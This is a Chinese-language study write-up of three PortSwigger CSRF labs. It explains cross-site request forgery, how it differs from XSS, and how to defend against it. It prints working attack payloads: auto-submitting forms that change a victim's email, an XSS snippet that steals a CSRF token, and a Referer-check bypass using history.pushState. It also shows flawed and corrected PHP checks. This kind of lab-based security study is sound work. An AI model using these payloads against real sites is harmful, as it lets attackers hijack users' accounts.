CSRF 攻防实战：从原理到绕过，一篇掌握跨站请求伪造

CSRF 跨站请求伪造完全实战手册

学习平台：PortSwigger Web Security Academy 完成日期：Day 11 前置知识：已完成 XSS 基础与进阶（Day 9-10）

目录

一、什么是 CSRF

1.1 定义

CSRF（Cross-Site Request Forgery，跨站请求伪造） 是一种攻击者诱导已登录用户在不知情的情况下，以其身份执行非预期操作的攻击方式。

1.2 核心原理

┌─────────────────────────────────────────────────────────────┐
│ 用户登录银行网站 A │
│ Cookie: session=xxx（浏览器自动保存） │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 用户访问攻击者控制的网站 B（钓鱼邮件/恶意广告） │
│ 网站 B 中隐藏了一个自动提交的表单： │
│ <form action="https://银行A.com/转账" method="POST"> │
│ <input name="to" value="黑客账号"> │
│ <input name="amount" value="10000"> │
│ </form> │
│ <script>document.forms[0].submit();</script> │
└─────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ 浏览器自动带上银行 A 的 Cookie 发送请求 │
│ 银行 A 看到合法的 Session → 执行转账 │
│ 用户完全不知情！ │
└─────────────────────────────────────────────────────────────┘

1.3 为什么叫“跨站”？

因为攻击代码托管在攻击者的网站（跨站），但利用的是目标网站（受害站点） 上用户的已登录状态。

1.4 攻击成立的两个必要条件

二、CSRF 与 XSS 的核心区别

2.1 一句话区分

• CSRF：黑客"借用"你的身份去干坏事（你不知情，浏览器自动帮忙）
• XSS：黑客"注入"恶意代码到你的页面里执行（代码在目标站运行）

2.2 XSS 如何绕过 CSRF Token？

如果目标网站同时存在 XSS 漏洞 和 CSRF Token 防御：

<script>
// XSS 读取页面上的 CSRF Token
var token = document.getElementsByName('csrf')[0].value;

// 用获取到的 Token 构造合法请求
fetch('/change-email', {
method: 'POST',
body: 'email=hacked@evil.com&csrf=' + token
});
</script>

结论：XSS 的危害比 CSRF 更大，因为 XSS 可以读取页面上的 Token，从而绕过 CSRF 的所有防御。

三、实验室 1：无防御的 CSRF

3.1 攻击目的

理解最基础的 CSRF 攻击：目标网站没有任何防御，攻击者可以直接构造恶意请求让受害者执行。

3.2 攻击思路

3.3 实施步骤

Step 1：访问实验室并登录

访问地址： https://portswigger.net/web-security/csrf/lab-no-defenses

Step 2：进入“我的账户”页面

点击页面顶部的 “我的账户”（My account）。

Step 3：正常修改邮箱，观察请求

在邮箱输入框输入新邮箱（如 test@example.com），点击 “更新邮件”。

关键观察：按 F12 → Network 面板，查看请求详情。

Step 4：构造攻击代码

根据抓包结果，构造自动提交的表单：

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@evil.com">
</form>
<script>
document.forms[0].submit();
</script>

Step 5：在 Exploit Server 中部署

Step 6：发送给受害者

点击 “将利用权传递给受害者”（Deliver exploit to victim）。

PortSwigger 会自动模拟一个已登录的受害者访问你的攻击页面，表单自动提交 → 受害者邮箱被篡改。

Step 7：验证成功

等待 3-5 秒，点击 “返回实验室”。

3.4 为什么能成功？

四、实验室 2：Referer 验证失效的 CSRF

4.1 攻击目的

理解“有防御但防御逻辑有缺陷”的场景。目标网站检查了 Referer 头，但验证逻辑不严格，可以被绕过。

4.2 攻击思路

4.3 实施步骤

Step 1：访问实验室并登录

Step 2：正常修改邮箱，抓包观察 Referer

按 F12 → Network → 点击 change-email 请求 → 请求标头，找到 Referer 字段：

Referer: https://0a0500c80393b5da802a03cf00eb00d5.web-security-academy.net/my-account?id=wiener

Step 3：分析验证逻辑

根据 Solution 提示，后端验证逻辑类似：

// ❌ 错误：只检查 Referer 字符串中是否包含目标域名
$referer = $_SERVER['HTTP_REFERER'];
if (strpos($referer, 'web-security-academy.net') !== false) {
// 认为合法！
changeEmail($_POST['email']);
}

漏洞：只要 Referer 中包含目标域名即可通过，不要求 Referer 必须来自目标域名本身。

Step 4：构造绕过代码

利用 history.pushState() 修改当前页面 URL（不刷新页面），使 Referer 头包含目标域名：

<!– Head 部分添加 Referrer-Policy –>
Referrer-Policy: unsafe-url

<!– Body 部分 –>
<form method="POST" action="https://0ad3009203b71ab680b00380004d00ca.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@evil.com">
</form>
<script>
history.pushState("", "", "/?0ad3009203b71ab680b00380004d00ca.web-security-academy.net");
document.forms[0].submit();
</script>

Step 5：为什么需要 Referrer-Policy: unsafe-url？

现代浏览器（Chrome、Firefox 等）默认会剥离 Referer 头中的查询字符串（安全策略）。

如果不加这个头，Referer 会变成：

Referer: https://exploit-xxx.exploit-server.net/ ← 没有查询字符串，验证失败

加了之后，Referer 变成：

Referer: https://exploit-xxx.exploit-server.net/?0a0500c…web-security-academy.net

后端 strpos 检查 → 发现包含目标域名 → 验证通过！

Step 6：Store → Deliver to victim

等待 3-5 秒，返回实验室。

4.4 为什么能成功？

4.5 正确的 Referer 验证应该怎么做？

// ✅ 正确：严格解析并匹配域名
$referer = parse_url($_SERVER['HTTP_REFERER']);
if ($referer['host'] === 'web-security-academy.net') {
changeEmail($_POST['email']);
}

五、实验室 3：Token 未绑定会话的 CSRF

5.1 攻击目的

理解 CSRF Token 防御的关键缺陷：Token 虽然存在，但没有和用户会话绑定，导致攻击者可以用自己的 Token 攻击其他用户。

5.2 攻击思路

5.3 实施步骤

Step 1：访问实验室并登录

Step 2：获取自己的 CSRF Token

进入"我的账户"页面，按 F12 → 查看源码，找到表单中的隐藏字段：

<form method="POST" action="/my-account/change-email">
<input required type="email" name="email" value="wiener@normal-user.net">
<input required type="hidden" name="csrf" value="27rOOffDeqA7g84qnRrhwRrBUY1w6k6t">
<button type="submit">Update email</button>
</form>

记下 csrf 的值：CWBNqHO5I0r4m83MduToFZ58sgP7SFoG

Step 3：验证 Token 是否全局通用

换一个浏览器/隐私模式，用另一个账号（如 carlos）登录，查看其页面上的 Token。

如果两个账号的 Token 相同 → 确认 Token 未绑定会话。

Step 4：构造攻击代码

使用自己的 Token 构造攻击页面：

<form method="POST" action="https://0a710081043ca1f11800f8a8100ba00bd.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="hacked@evil.com">
<input type="hidden" name="csrf" value="CWBNqHO5I0r4m83MduToFZ58sgP7SFoG">
</form>
<script>
document.forms[0].submit();
</script>

Step 5：Store → Deliver to victim

PortSwigger 模拟受害者（carlos）访问攻击页面：

• 请求携带 carlos 的 Session Cookie
• 请求携带 wiener 的 CSRF Token
• 后端验证：Token 存在且格式正确 → 通过！
• 后端没有验证：这个 Token 是否属于 carlos？

Step 6：验证成功

等待 3-5 秒，返回实验室。

5.4 为什么能成功？

5.5 正确的 Token 防御应该怎么做？

session_start();

// ✅ 正确：Token 和用户 Session 绑定
if (!isset($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// 验证时检查 Token 是否属于当前 Session
if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
die('Invalid CSRF token');
}

每个用户的 Token 都是独立生成且存储在 Session 中的，攻击者无法预测其他用户的 Token。

六、CSRF 防御方案总结

6.1 防御层级（从弱到强）

6.2 各防御方案详解

方案 1：CSRF Token（最常用）

原理：每次请求附带一个随机生成的 Token，攻击者无法预测。

正确实现：

session_start();
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// 表单中嵌入
<input type="hidden" name="csrf" value="<?php echo $_SESSION['csrf_token']; ?>">

// 提交时验证
if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
die('Invalid token');
}

关键点：

• Token 必须随机生成（不可预测）
• Token 必须绑定用户 Session（不能全局通用）
• Token 必须每次请求更新（或定期更新）

方案 2：SameSite Cookie

原理：设置 Cookie 的 SameSite 属性，控制 Cookie 在跨站请求中的发送行为。

设置方法：

setcookie('session', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);

方案 3：Referer 验证（辅助手段）

原理：检查请求的来源页面是否合法。

正确实现：

$referer = parse_url($_SERVER['HTTP_REFERER']);
if ($referer['host'] !== 'example.com') {
die('Invalid referer');
}

注意：Referer 头可能被浏览器禁用或篡改，不能作为唯一防御手段。

方案 4：双重 Cookie 验证

原理：利用 Cookie 的天然同源策略，在请求中同时携带 Cookie 和 Token。

1. 用户访问页面时，服务器设置 Cookie: csrf_token=random_value
2. 前端 JS 读取 Cookie 中的 csrf_token
3. 发送请求时，将 csrf_token 放入请求头或参数中
4. 后端验证：请求中的 Token 是否等于 Cookie 中的 Token

优点：不需要服务器存储 Token，纯前端实现。

方案 5：敏感操作二次确认

原理：对于转账、改密码等敏感操作，要求用户再次输入密码或验证码。

修改邮箱 → 弹出确认框 → 要求输入当前密码 → 验证通过后才执行

优点：即使 CSRF 攻击成功，也无法通过二次验证。

6.3 防御方案选择建议

七、核心收获

7.1 三个实验室对比

7.2 关键认知